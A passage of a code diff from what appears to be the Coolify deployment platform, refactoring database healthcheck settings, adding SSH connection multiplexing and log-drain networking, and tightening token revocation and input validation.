diff --git a/app/Actions/Database/StartClickhouse.php b/app/Actions/Database/StartClickhouse.php index 30cae71f1..525e736c3 100644 --- a/app/Actions/Database/StartClickhouse.php +++ b/app/Actions/Database/StartClickhouse.php @@ -50,13 +50,9 @@ public function handle(StandaloneClickhouse $database) ], ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), - 'healthcheck' => [ - 'test' => ['CMD', 'clickhouse-client', '--user', (string) $this->database->clickhouse_admin_user, '--password', (string) $this->database->clickhouse_admin_password, '--query', 'SELECT 1'], - 'interval' => '5s', - 'timeout' => '5s', - 'retries' => 10, - 'start_period' => '5s', - ], + 'healthcheck' => $this->database->healthCheckConfiguration([ + 'CMD', 'clickhouse-client', '--user', (string) $this->database->clickhouse_admin_user, '--password', (string) $this->database->clickhouse_admin_password, '--query', 'SELECT 1', + ]), 'mem_limit' => $this->database->limits_memory, 'memswap_limit' => $this->database->limits_memory_swap, 'mem_swappiness' => $this->database->limits_memory_swappiness, @@ -98,6 +94,9 @@ public function handle(StandaloneClickhouse $database) $docker_run_options = convertDockerRunToCompose($this->database->custom_docker_run_options); $docker_compose = generateCustomDockerRunOptionsForDatabases($docker_run_options, $docker_compose, $container_name, $this->database->destination->network); + if (! $this->database->isHealthcheckEnabled()) { + unset($docker_compose['services'][$container_name]['healthcheck']); + } $docker_compose = Yaml::dump($docker_compose, 10); $docker_compose_base64 = base64_encode($docker_compose); $this->commands[] = "echo '{$docker_compose_base64}' | base64 -d | tee $this->configuration_dir/docker-compose.yml > /dev/null"; diff --git a/app/Actions/Database/StartDragonfly.php b/app/Actions/Database/StartDragonfly.php index addc30be4..b78a0987d 100644 --- a/app/Actions/Database/StartDragonfly.php +++ b/app/Actions/Database/StartDragonfly.php @@ -106,13 +106,9 @@ public function handle(StandaloneDragonfly $database) $this->database->destination->network, ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), - 'healthcheck' => [ - 'test' => ['CMD', 'redis-cli', '-a', (string) $this->database->dragonfly_password, 'ping'], - 'interval' => '5s', - 'timeout' => '5s', - 'retries' => 10, - 'start_period' => '5s', - ], + 'healthcheck' => $this->database->healthCheckConfiguration([ + 'CMD', 'redis-cli', '-a', (string) $this->database->dragonfly_password, 'ping', + ]), 'mem_limit' => $this->database->limits_memory, 'memswap_limit' => $this->database->limits_memory_swap, 'mem_swappiness' => $this->database->limits_memory_swappiness, @@ -182,6 +178,9 @@ public function handle(StandaloneDragonfly $database) $docker_run_options = convertDockerRunToCompose($this->database->custom_docker_run_options); $docker_compose = generateCustomDockerRunOptionsForDatabases($docker_run_options, $docker_compose, $container_name, $this->database->destination->network); + if (! $this->database->isHealthcheckEnabled()) { + unset($docker_compose['services'][$container_name]['healthcheck']); + } $docker_compose = Yaml::dump($docker_compose, 10); $docker_compose_base64 = base64_encode($docker_compose); $this->commands[] = "echo '{$docker_compose_base64}' | base64 -d | tee $this->configuration_dir/docker-compose.yml > /dev/null"; diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php index e59d6f697..89258fe24 100644 --- a/app/Actions/Database/StartKeydb.php +++ b/app/Actions/Database/StartKeydb.php @@ -108,13 +108,9 @@ public function handle(StandaloneKeydb $database) $this->database->destination->network, ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), - 'healthcheck' => [ - 'test' => ['CMD', 'keydb-cli', '--pass', (string) $this->database->keydb_password, 'ping'], - 'interval' => '5s', - 'timeout' => '5s', - 'retries' => 10, - 'start_period' => '5s', - ], + 'healthcheck' => $this->database->healthCheckConfiguration([ + 'CMD', 'keydb-cli', '--pass', (string) $this->database->keydb_password, 'ping', + ]), 'mem_limit' => $this->database->limits_memory, 'memswap_limit' => $this->database->limits_memory_swap, 'mem_swappiness' => $this->database->limits_memory_swappiness, @@ -197,6 +193,9 @@ public function handle(StandaloneKeydb $database) // Add custom docker run options $docker_run_options = convertDockerRunToCompose($this->database->custom_docker_run_options); $docker_compose = generateCustomDockerRunOptionsForDatabases($docker_run_options, $docker_compose, $container_name, $this->database->destination->network); + if (! $this->database->isHealthcheckEnabled()) { + unset($docker_compose['services'][$container_name]['healthcheck']); + } $docker_compose = Yaml::dump($docker_compose, 10); $docker_compose_base64 = base64_encode($docker_compose); $this->commands[] = "echo '{$docker_compose_base64}' | base64 -d | tee $this->configuration_dir/docker-compose.yml > /dev/null"; diff --git a/app/Actions/Database/StartMariadb.php b/app/Actions/Database/StartMariadb.php index ceb1e8b85..2e8faea9a 100644 --- a/app/Actions/Database/StartMariadb.php +++ b/app/Actions/Database/StartMariadb.php @@ -103,13 +103,9 @@ public function handle(StandaloneMariadb $database) $this->database->destination->network, ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), - 'healthcheck' => [ - 'test' => ['CMD', 'healthcheck.sh', '--connect', '--innodb_initialized'], - 'interval' => '5s', - 'timeout' => '5s', - 'retries' => 10, - 'start_period' => '5s', - ], + 'healthcheck' => $this->database->healthCheckConfiguration([ + 'CMD', 'healthcheck.sh', '--connect', '--innodb_initialized', + ]), 'mem_limit' => $this->database->limits_memory, 'memswap_limit' => $this->database->limits_memory_swap, 'mem_swappiness' => $this->database->limits_memory_swappiness, @@ -202,6 +198,9 @@ public function handle(StandaloneMariadb $database) ]; } + if (! $this->database->isHealthcheckEnabled()) { + unset($docker_compose['services'][$container_name]['healthcheck']); + } $docker_compose = Yaml::dump($docker_compose, 10); $docker_compose_base64 = base64_encode($docker_compose); $this->commands[] = "echo '{$docker_compose_base64}' | base64 -d | tee $this->configuration_dir/docker-compose.yml > /dev/null"; diff --git a/app/Actions/Database/StartMongodb.php b/app/Actions/Database/StartMongodb.php index c79789718..80ec812a1 100644 --- a/app/Actions/Database/StartMongodb.php +++ b/app/Actions/Database/StartMongodb.php @@ -109,17 +109,11 @@ public function handle(StandaloneMongodb $database) $this->database->destination->network, ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), - 'healthcheck' => [ - 'test' => [ - 'CMD', - 'echo', - 'ok', - ], - 'interval' => '5s', - 'timeout' => '5s', - 'retries' => 10, - 'start_period' => '5s', - ], + 'healthcheck' => $this->database->healthCheckConfiguration([ + 'CMD', + 'echo', + 'ok', + ]), 'mem_limit' => $this->database->limits_memory, 'memswap_limit' => $this->database->limits_memory_swap, 'mem_swappiness' => $this->database->limits_memory_swappiness, @@ -253,6 +247,9 @@ public function handle(StandaloneMongodb $database) $docker_compose['services'][$container_name]['command'] = $commandParts; } + if (! $this->database->isHealthcheckEnabled()) { + unset($docker_compose['services'][$container_name]['healthcheck']); + } $docker_compose = Yaml::dump($docker_compose, 10); $docker_compose_base64 = base64_encode($docker_compose); $this->commands[] = "echo '{$docker_compose_base64}' | base64 -d | tee $this->configuration_dir/docker-compose.yml > /dev/null"; diff --git a/app/Actions/Database/StartMysql.php b/app/Actions/Database/StartMysql.php index 0394d50b6..0445bddcd 100644 --- a/app/Actions/Database/StartMysql.php +++ b/app/Actions/Database/StartMysql.php @@ -103,13 +103,9 @@ public function handle(StandaloneMysql $database) $this->database->destination->network, ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), - 'healthcheck' => [ - 'test' => ['CMD', 'mysqladmin', 'ping', '-h', 'localhost', '-u', 'root', "-p{$this->database->mysql_root_password}"], - 'interval' => '5s', - 'timeout' => '5s', - 'retries' => 10, - 'start_period' => '5s', - ], + 'healthcheck' => $this->database->healthCheckConfiguration([ + 'CMD', 'mysqladmin', 'ping', '-h', 'localhost', '-u', 'root', "-p{$this->database->mysql_root_password}", + ]), 'mem_limit' => $this->database->limits_memory, 'memswap_limit' => $this->database->limits_memory_swap, 'mem_swappiness' => $this->database->limits_memory_swappiness, @@ -203,6 +199,9 @@ public function handle(StandaloneMysql $database) ]; } + if (! $this->database->isHealthcheckEnabled()) { + unset($docker_compose['services'][$container_name]['healthcheck']); + } $docker_compose = Yaml::dump($docker_compose, 10); $docker_compose_base64 = base64_encode($docker_compose); $this->commands[] = "echo '{$docker_compose_base64}' | base64 -d | tee $this->configuration_dir/docker-compose.yml > /dev/null"; diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php index da8b5dc4e..ae7ae9860 100644 --- a/app/Actions/Database/StartPostgresql.php +++ b/app/Actions/Database/StartPostgresql.php @@ -110,13 +110,9 @@ public function handle(StandalonePostgresql $database) $this->database->destination->network, ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), - 'healthcheck' => [ - 'test' => ['CMD', 'psql', '-U', (string) $this->database->postgres_user, '-d', (string) $this->database->postgres_db, '-c', 'SELECT 1'], - 'interval' => '5s', - 'timeout' => '5s', - 'retries' => 10, - 'start_period' => '5s', - ], + 'healthcheck' => $this->database->healthCheckConfiguration([ + 'CMD', 'psql', '-U', (string) $this->database->postgres_user, '-d', (string) $this->database->postgres_db, '-c', 'SELECT 1', + ]), 'mem_limit' => $this->database->limits_memory, 'memswap_limit' => $this->database->limits_memory_swap, 'mem_swappiness' => $this->database->limits_memory_swappiness, @@ -213,6 +209,9 @@ public function handle(StandalonePostgresql $database) $docker_compose['services'][$container_name]['command'] = $command; } + if (! $this->database->isHealthcheckEnabled()) { + unset($docker_compose['services'][$container_name]['healthcheck']); + } $docker_compose = Yaml::dump($docker_compose, 10); $docker_compose_base64 = base64_encode($docker_compose); $this->commands[] = "echo '{$docker_compose_base64}' | base64 -d | tee $this->configuration_dir/docker-compose.yml > /dev/null"; diff --git a/app/Actions/Database/StartRedis.php b/app/Actions/Database/StartRedis.php index c31b099e4..64b434821 100644 --- a/app/Actions/Database/StartRedis.php +++ b/app/Actions/Database/StartRedis.php @@ -105,17 +105,11 @@ public function handle(StandaloneRedis $database) $this->database->destination->network, ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), - 'healthcheck' => [ - 'test' => [ - 'CMD-SHELL', - 'redis-cli', - 'ping', - ], - 'interval' => '5s', - 'timeout' => '5s', - 'retries' => 10, - 'start_period' => '5s', - ], + 'healthcheck' => $this->database->healthCheckConfiguration([ + 'CMD-SHELL', + 'redis-cli', + 'ping', + ]), 'mem_limit' => $this->database->limits_memory, 'memswap_limit' => $this->database->limits_memory_swap, 'mem_swappiness' => $this->database->limits_memory_swappiness, @@ -194,6 +188,9 @@ public function handle(StandaloneRedis $database) $docker_run_options = convertDockerRunToCompose($this->database->custom_docker_run_options); $docker_compose = generateCustomDockerRunOptionsForDatabases($docker_run_options, $docker_compose, $container_name, $this->database->destination->network); + if (! $this->database->isHealthcheckEnabled()) { + unset($docker_compose['services'][$container_name]['healthcheck']); + } $docker_compose = Yaml::dump($docker_compose, 10); $docker_compose_base64 = base64_encode($docker_compose); $this->commands[] = "echo '{$docker_compose_base64}' | base64 -d | tee $this->configuration_dir/docker-compose.yml > /dev/null"; diff --git a/app/Actions/Server/CleanupDocker.php b/app/Actions/Server/CleanupDocker.php index 33558c746..06abeb3a6 100644 --- a/app/Actions/Server/CleanupDocker.php +++ b/app/Actions/Server/CleanupDocker.php @@ -51,7 +51,7 @@ public function handle(Server $server, bool $deleteUnusedVolumes = false, bool $ 'docker container prune -f --filter "label=coolify.managed=true" --filter "label!=coolify.proxy=true" --filter "label!=coolify.type=database" --filter "label!=coolify.type=application" --filter "label!=coolify.type=service"', $imagePruneCmd, 'docker builder prune -af', - 'docker buildx prune --builder coolify-railpack -af 2>/dev/null || true', + "docker run --rm -v \$HOME/.docker/buildx:/root/.docker/buildx -v /var/run/docker.sock:/var/run/docker.sock {$helperImageWithVersion} docker buildx prune --builder coolify-railpack -af 2>/dev/null || true", "docker images --filter before=$helperImageWithVersion --filter reference=$helperImage | grep $helperImage | awk '{print $3}' | xargs -r docker rmi -f", "docker images --filter before=$realtimeImageWithVersion --filter reference=$realtimeImage | grep $realtimeImage | awk '{print $3}' | xargs -r docker rmi -f", "docker images --filter before=$helperImageWithoutPrefixVersion --filter reference=$helperImageWithoutPrefix | grep $helperImageWithoutPrefix | awk '{print $3}' | xargs -r docker rmi -f", diff --git a/app/Actions/Server/StartLogDrain.php b/app/Actions/Server/StartLogDrain.php index e4df5a061..eb419992d 100644 --- a/app/Actions/Server/StartLogDrain.php +++ b/app/Actions/Server/StartLogDrain.php @@ -3,6 +3,7 @@ namespace App\Actions\Server; use App\Models\Server; +use App\Models\Service; use Lorisleiva\Actions\Concerns\AsAction; class StartLogDrain @@ -201,10 +202,29 @@ public function handle(Server $server) "echo 'Starting Fluent Bit'", "cd $config_path && docker compose up -d", ]; + $command = array_merge($command, $this->logDrainNetworkConnectCommands($server)); return instant_remote_process($command, $server); } catch (\Throwable $e) { return handleError($e); } } + + private function logDrainNetworkConnectCommands(Server $server): array + { + if (! $server->isLogDrainEnabled()) { + return []; + } + + return $server->services() + ->with('destination') + ->where('connect_to_docker_network', true) + ->get() + ->map(fn (Service $service) => data_get($service, 'destination.network')) + ->filter() + ->unique() + ->map(fn (string $network) => 'docker network connect '.escapeshellarg($network).' coolify-log-drain >/dev/null 2>&1 || true') + ->values() + ->all(); + } } diff --git a/app/Actions/Service/RestartService.php b/app/Actions/Service/RestartService.php index d38ef54d6..6acd3b0a4 100644 --- a/app/Actions/Service/RestartService.php +++ b/app/Actions/Service/RestartService.php @@ -13,8 +13,10 @@ class RestartService public function handle(Service $service, bool $pullLatestImages) { - StopService::run($service); - - return StartService::run($service, $pullLatestImages); + return StartService::run( + service: $service, + pullLatestImages: $pullLatestImages, + stopBeforeStart: true, + ); } } diff --git a/app/Actions/Service/StartService.php b/app/Actions/Service/StartService.php index d3d99ff78..463a8ad5b 100644 --- a/app/Actions/Service/StartService.php +++ b/app/Actions/Service/StartService.php @@ -19,7 +19,7 @@ public function configureJob(JobDecorator $job): void public function handle(Service $service, bool $pullLatestImages = false, bool $stopBeforeStart = false) { $service->parse(); - if ($stopBeforeStart) { + if ($this->shouldStopBeforeStarting($pullLatestImages, $stopBeforeStart)) { StopService::run(service: $service, dockerCleanup: false); } $service->saveComposeConfigs(); @@ -50,7 +50,34 @@ public function handle(Service $service, bool $pullLatestImages = false, bool $s $commands[] = "docker network connect --alias {$serviceName}-{$service->uuid} {$safeNetwork} {$serviceName}-{$service->uuid} >/dev/null 2>&1 || true"; } } + $commands = array_merge($commands, $this->logDrainNetworkConnectCommands($service)); return remote_process($commands, $service->server, type_uuid: $service->uuid, callEventOnFinish: 'ServiceStatusChanged'); } + + private function logDrainNetworkConnectCommands(Service $service): array + { + if (! data_get($service, 'connect_to_docker_network')) { + return []; + } + + if (! $service->destination?->server?->isLogDrainEnabled()) { + return []; + } + + $network = data_get($service, 'destination.network'); + + if (blank($network)) { + return []; + } + + return [ + 'docker network connect '.escapeshellarg($network).' coolify-log-drain >/dev/null 2>&1 || true', + ]; + } + + private function shouldStopBeforeStarting(bool $pullLatestImages, bool $stopBeforeStart): bool + { + return $stopBeforeStart && ! $pullLatestImages; + } } diff --git a/app/Actions/User/DeleteUserTeams.php b/app/Actions/User/DeleteUserTeams.php index d572db9e7..b2b06e7ba 100644 --- a/app/Actions/User/DeleteUserTeams.php +++ b/app/Actions/User/DeleteUserTeams.php @@ -137,9 +137,11 @@ public function execute(): array // Update the new owner's role to owner $team->members()->updateExistingPivot($newOwner->id, ['role' => 'owner']); + RevokeUserTeamTokens::forUserTeam($newOwner, $team->id); // Remove the current user from the team $team->members()->detach($this->user->id); + RevokeUserTeamTokens::forUserTeam($this->user, $team->id); $counts['transferred']++; } catch (\Exception $e) { @@ -152,6 +154,7 @@ public function execute(): array foreach ($preview['to_leave'] as $team) { try { $team->members()->detach($this->user->id); + RevokeUserTeamTokens::forUserTeam($this->user, $team->id); $counts['left']++; } catch (\Exception $e) { \Log::error("Failed to remove user from team {$team->id}: ".$e->getMessage()); diff --git a/app/Actions/User/RevokeUserTeamTokens.php b/app/Actions/User/RevokeUserTeamTokens.php new file mode 100644 index 000000000..9aadf1eeb --- /dev/null +++ b/app/Actions/User/RevokeUserTeamTokens.php @@ -0,0 +1,43 @@ +where('tokenable_id', self::userId($user)) + ->where('team_id', $teamId) + ->delete(); + } + + public static function forUser(User|int $user): int + { + return self::baseQuery() + ->where('tokenable_id', self::userId($user)) + ->delete(); + } + + public static function forTeam(int|string $teamId): int + { + return self::baseQuery() + ->where('team_id', $teamId) + ->delete(); + } + + private static function baseQuery(): Builder + { + return PersonalAccessToken::query() + ->where('tokenable_type', User::class); + } + + private static function userId(User|int $user): int + { + return $user instanceof User ? $user->id : $user; + } +} diff --git a/app/Console/Commands/CleanupUnreachableServers.php b/app/Console/Commands/CleanupUnreachableServers.php index 09563a2c3..666e98a18 100644 --- a/app/Console/Commands/CleanupUnreachableServers.php +++ b/app/Console/Commands/CleanupUnreachableServers.php @@ -18,9 +18,13 @@ public function handle() if ($servers->count() > 0) { foreach ($servers as $server) { echo "Cleanup unreachable server ($server->id) with name $server->name"; - $server->update([ - 'ip' => '1.2.3.4', - ]); + if (isCloud()) { + $server->update([ + 'ip' => '1.2.3.4', + ]); + } else { + $server->forceDisableServer(); + } } } } diff --git a/app/Console/Kernel.php b/app/Console/Kernel.php index e97105836..e6dc32383 100644 --- a/app/Console/Kernel.php +++ b/app/Console/Kernel.php @@ -8,6 +8,7 @@ use App\Jobs\CheckTraefikVersionJob; use App\Jobs\CleanupInstanceStuffsJob; use App\Jobs\CleanupOrphanedPreviewContainersJob; +use App\Jobs\CleanupStaleMultiplexedConnections; use App\Jobs\PullChangelog; use App\Jobs\PullTemplatesFromCDN; use App\Jobs\RegenerateSslCertJob; @@ -40,6 +41,10 @@ protected function schedule(Schedule $schedule): void $this->instanceTimezone = config('app.timezone'); } + $this->scheduleInstance->call(fn () => app(CleanupStaleMultiplexedConnections::class)->handle()) + ->name('cleanup:ssh-mux') + ->hourly() + ->when(fn () => config('constants.ssh.mux_enabled') && ! config('constants.coolify.is_windows_docker_desktop')); $this->scheduleInstance->command('cleanup:redis --clear-locks')->daily(); $this->scheduleInstance->command('sanctum:prune-expired --hours=1')->hourly()->onOneServer(); $this->scheduleInstance->job(new ApiTokenExpirationWarningJob)->hourly()->onOneServer(); diff --git a/app/Helpers/SshMultiplexingHelper.php b/app/Helpers/SshMultiplexingHelper.php index 021ac3608..907cb4456 100644 --- a/app/Helpers/SshMultiplexingHelper.php +++ b/app/Helpers/SshMultiplexingHelper.php @@ -4,6 +4,8 @@ use App\Models\PrivateKey; use App\Models\Server; +use Illuminate\Contracts\Cache\LockTimeoutException; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Process; @@ -23,23 +25,77 @@ public static function serverSshConfiguration(Server $server): array public static function ensureMultiplexedConnection(Server $server): bool { - return self::isMultiplexingEnabled(); + if (! self::isMultiplexingEnabled()) { + return false; + } + + if (self::connectionIsReusable($server)) { + return true; + } + + try { + return Cache::lock( + self::connectionLockKey($server), + config('constants.ssh.mux_lock_ttl') + )->block(config('constants.ssh.mux_lock_timeout'), function () use ($server) { + if (self::connectionIsReusable($server)) { + return true; + } + + if (self::masterConnectionExists($server)) { + return self::refreshMultiplexedConnection($server); + } + + return self::establishNewMultiplexedConnection($server); + }); + } catch (LockTimeoutException) { + Log::warning('SSH multiplexing lock timeout, falling back to non-multiplexed connection', [ + 'server' => $server->name ?? $server->ip, + ]); + + return false; + } catch (\Throwable $e) { + Log::warning('SSH multiplexing lock unavailable, falling back to non-multiplexed connection', [ + 'server' => $server->name ?? $server->ip, + 'error' => $e->getMessage(), + ]); + + return false; + } + } + + public static function establishNewMultiplexedConnection(Server $server): bool + { + $sshConfig = self::serverSshConfiguration($server); + $sshKeyLocation = $sshConfig['sshKeyLocation']; + $muxSocket = $sshConfig['muxFilename']; + $connectionTimeout = self::getConnectionTimeout($server); + $serverInterval = config('constants.ssh.server_interval'); + $muxPersistTime = config('constants.ssh.mux_persist_time'); + + $establishCommand = "ssh -fN -o ControlMaster=auto -o ControlPath=$muxSocket -o ControlPersist={$muxPersistTime} "; + + if (data_get($server, 'settings.is_cloudflare_tunnel')) { + $establishCommand .= ' -o ProxyCommand="cloudflared access ssh --hostname %h" '; + } + + $establishCommand .= self::getCommonSshOptions($server, $sshKeyLocation, $connectionTimeout, $serverInterval); + $establishCommand .= self::escapedUserAtHost($server); + + $establishProcess = Process::run($establishCommand); + if ($establishProcess->exitCode() !== 0) { + return false; + } + + self::storeConnectionMetadata($server); + + return true; } public static function removeMuxFile(Server $server): void { - $closeCommand = self::muxControlCommand($server, 'exit'); - Process::run($closeCommand); - } - - private static function muxControlCommand(Server $server, string $operation): string - { - $command = "ssh -O {$operation} -o ControlPath=".self::muxSocket($server).' '; - if (data_get($server, 'settings.is_cloudflare_tunnel')) { - $command .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; - } - - return $command.self::escapedUserAtHost($server); + Process::run(self::muxControlCommand($server, 'exit')); + self::clearConnectionMetadata($server); } public static function generateScpCommand(Server $server, string $source, string $dest): string @@ -53,7 +109,16 @@ public static function generateScpCommand(Server $server, string $source, string } if (self::isMultiplexingEnabled()) { - $scpCommand .= self::multiplexingOptions($server); + try { + if (self::ensureMultiplexedConnection($server)) { + $scpCommand .= self::multiplexingOptions($server); + } + } catch (\Throwable $e) { + Log::warning('SSH multiplexing failed for SCP, falling back to non-multiplexed connection', [ + 'server' => $server->name ?? $server->ip, + 'error' => $e->getMessage(), + ]); + } } if (data_get($server, 'settings.is_cloudflare_tunnel')) { @@ -69,7 +134,7 @@ public static function generateScpCommand(Server $server, string $source, string return $scpCommand.escapeshellarg($source).' '.self::escapedUserAtHost($server).':'.escapeshellarg($dest); } - public static function generateSshCommand(Server $server, string $command, bool $disableMultiplexing = false): string + public static function generateSshCommand(Server $server, string $command, bool $disableMultiplexing = false, ?int $commandTimeout = null): string { if ($server->settings->force_disabled) { throw new \RuntimeException('Server is disabled.'); @@ -80,10 +145,20 @@ public static function generateSshCommand(Server $server, string $command, bool self::validateSshKey($server->privateKey); - $sshCommand = 'timeout '.config('constants.ssh.command_timeout').' ssh '; + $commandTimeout = $commandTimeout ?? (int) config('constants.ssh.command_timeout'); + $sshCommand = $commandTimeout > 0 ? "timeout {$commandTimeout} ssh " : 'ssh '; if (! $disableMultiplexing && self::isMultiplexingEnabled()) { - $sshCommand .= self::multiplexingOptions($server); + try { + if (self::ensureMultiplexedConnection($server)) { + $sshCommand .= self::multiplexingOptions($server); + } + } catch (\Throwable $e) { + Log::warning('SSH multiplexing failed, falling back to non-multiplexed connection', [ + 'server' => $server->name ?? $server->ip, + 'error' => $e->getMessage(), + ]); + } } if (data_get($server, 'settings.is_cloudflare_tunnel')) { @@ -100,6 +175,99 @@ public static function generateSshCommand(Server $server, string $command, bool .$delimiter; } + public static function getConnectionTimeout(Server $server): int + { + $timeout = data_get($server, 'settings.connection_timeout'); + + return is_numeric($timeout) && (int) $timeout > 0 + ? (int) $timeout + : (int) config('constants.ssh.connection_timeout'); + } + + public static function isConnectionHealthy(Server $server): bool + { + $sshConfig = self::serverSshConfiguration($server); + $muxSocket = $sshConfig['muxFilename']; + $healthCheckTimeout = config('constants.ssh.mux_health_check_timeout'); + + $healthCommand = "timeout $healthCheckTimeout ssh -o ControlMaster=auto -o ControlPath=$muxSocket "; + if (data_get($server, 'settings.is_cloudflare_tunnel')) { + $healthCommand .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; + } + $healthCommand .= self::escapedUserAtHost($server)." 'echo \"health_check_ok\"'"; + + $process = Process::run($healthCommand); + + return $process->exitCode() === 0 && str_contains($process->output(), 'health_check_ok'); + } + + public static function isConnectionExpired(Server $server): bool + { + $connectionAge = self::getConnectionAge($server); + $maxAge = config('constants.ssh.mux_max_age'); + + return $connectionAge !== null && $connectionAge > $maxAge; + } + + public static function getConnectionAge(Server $server): ?int + { + $connectionTime = Cache::get("ssh_mux_connection_time_{$server->uuid}"); + + if ($connectionTime === null) { + return null; + } + + return time() - $connectionTime; + } + + public static function refreshMultiplexedConnection(Server $server): bool + { + self::removeMuxFile($server); + + return self::establishNewMultiplexedConnection($server); + } + + private static function connectionLockKey(Server $server): string + { + return 'ssh_mux_lock_'.(gethostname() ?: 'unknown').'_'.$server->uuid; + } + + private static function masterConnectionExists(Server $server): bool + { + return Process::run(self::muxControlCommand($server, 'check'))->exitCode() === 0; + } + + private static function connectionIsReusable(Server $server): bool + { + if (! self::masterConnectionExists($server)) { + return false; + } + + if (self::getConnectionAge($server) === null) { + self::storeConnectionMetadata($server); + } + + if (self::isConnectionExpired($server)) { + return false; + } + + if (config('constants.ssh.mux_health_check_enabled') && ! self::isConnectionHealthy($server)) { + return false; + } + + return true; + } + + private static function muxControlCommand(Server $server, string $operation): string + { + $command = "ssh -O {$operation} -o ControlPath=".self::muxSocket($server).' '; + if (data_get($server, 'settings.is_cloudflare_tunnel')) { + $command .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; + } + + return $command.self::escapedUserAtHost($server); + } + private static function multiplexingOptions(Server $server): string { return '-o ControlMaster=auto ' @@ -157,15 +325,6 @@ private static function validateSshKey(PrivateKey $privateKey): void } } - public static function getConnectionTimeout(Server $server): int - { - $timeout = data_get($server, 'settings.connection_timeout'); - - return is_numeric($timeout) && (int) $timeout > 0 - ? (int) $timeout - : (int) config('constants.ssh.connection_timeout'); - } - private static function getCommonSshOptions(Server $server, string $sshKeyLocation, int $connectionTimeout, int $serverInterval, bool $isScp = false): string { $options = "-i {$sshKeyLocation} " @@ -182,4 +341,14 @@ private static function getCommonSshOptions(Server $server, string $sshKeyLocati return $options.'-p '.escapeshellarg((string) $server->port).' '; } + + private static function storeConnectionMetadata(Server $server): void + { + Cache::put("ssh_mux_connection_time_{$server->uuid}", time(), config('constants.ssh.mux_persist_time') + 300); + } + + private static function clearConnectionMetadata(Server $server): void + { + Cache::forget("ssh_mux_connection_time_{$server->uuid}"); + } } diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 074269fa0..0bef2dc0f 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -17,6 +17,7 @@ use App\Models\PrivateKey; use App\Models\Project; use App\Models\Server; +use App\Rules\DockerImageFormat; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Services\DockerImageParser; @@ -1790,8 +1791,8 @@ private function create_application(Request $request, $type) ]))->setStatusCode(201); } elseif ($type === 'dockerimage') { $validationRules = [ - 'docker_registry_image_name' => 'string|required', - 'docker_registry_image_tag' => 'string', + 'docker_registry_image_name' => ['required', 'string', 'max:255', new DockerImageFormat], + 'docker_registry_image_tag' => ValidationPatterns::dockerImageTagRules(), 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', ]; $validationRules = array_merge(sharedDataApplications(), $validationRules); diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index dc9b6f5b5..bceef4d39 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -299,6 +299,11 @@ public function database_by_uuid(Request $request) 'mysql_user' => ['type' => 'string', 'description' => 'MySQL user'], 'mysql_database' => ['type' => 'string', 'description' => 'MySQL database'], 'mysql_conf' => ['type' => 'string', 'description' => 'MySQL conf'], + 'health_check_enabled' => ['type' => 'boolean', 'description' => 'Enable the database healthcheck probe.', 'default' => true], + 'health_check_interval' => ['type' => 'integer', 'description' => 'Healthcheck interval in seconds.', 'minimum' => 1, 'default' => 15], + 'health_check_timeout' => ['type' => 'integer', 'description' => 'Healthcheck timeout in seconds.', 'minimum' => 1, 'default' => 5], + 'health_check_retries' => ['type' => 'integer', 'description' => 'Healthcheck retries count.', 'minimum' => 1, 'default' => 5], + 'health_check_start_period' => ['type' => 'integer', 'description' => 'Healthcheck start period in seconds.', 'minimum' => 0, 'default' => 5], ], ), ) @@ -565,9 +570,17 @@ public function update_by_uuid(Request $request) } break; } + $allowedFields = array_merge($allowedFields, ['health_check_enabled', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period']); + $healthCheckValidator = customApiValidator($request->all(), [ + 'health_check_enabled' => 'boolean', + 'health_check_interval' => 'integer|min:1', + 'health_check_timeout' => 'integer|min:1', + 'health_check_retries' => 'integer|min:1', + 'health_check_start_period' => 'integer|min:0', + ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); - if ($validator->fails() || ! empty($extraFields)) { - $errors = $validator->errors(); + if ($validator->fails() || $healthCheckValidator->fails() || ! empty($extraFields)) { + $errors = $validator->errors()->merge($healthCheckValidator->errors()); if (! empty($extraFields)) { foreach ($extraFields as $field) { $errors->add($field, 'This field is not allowed.'); diff --git a/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php index 6ce6b6d57..3090538c3 100644 --- a/app/Http/Controllers/Controller.php +++ b/app/Http/Controllers/Controller.php @@ -7,6 +7,7 @@ use App\Models\User; use App\Providers\RouteServiceProvider; use Illuminate\Auth\Events\Verified; +use Illuminate\Contracts\Encryption\DecryptException; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Foundation\Validation\ValidatesRequests; use Illuminate\Http\Request; @@ -98,23 +99,50 @@ public function link() { $token = request()->get('token'); if ($token) { - $decrypted = Crypt::decryptString($token); - $email = str($decrypted)->before('@@@'); - $password = str($decrypted)->after('@@@'); + try { + $decrypted = Crypt::decryptString($token); + } catch (DecryptException) { + return redirect()->route('login')->with('error', 'Invalid credentials.'); + } + + if (! str_contains($decrypted, '@@@')) { + return redirect()->route('login')->with('error', 'Invalid credentials.'); + } + + $payload = explode('@@@', $decrypted, 3); + if (count($payload) === 3) { + [$email, $invitationUuid, $password] = $payload; + } else { + [$email, $password] = $payload; + $invitationUuid = null; + } + + $email = 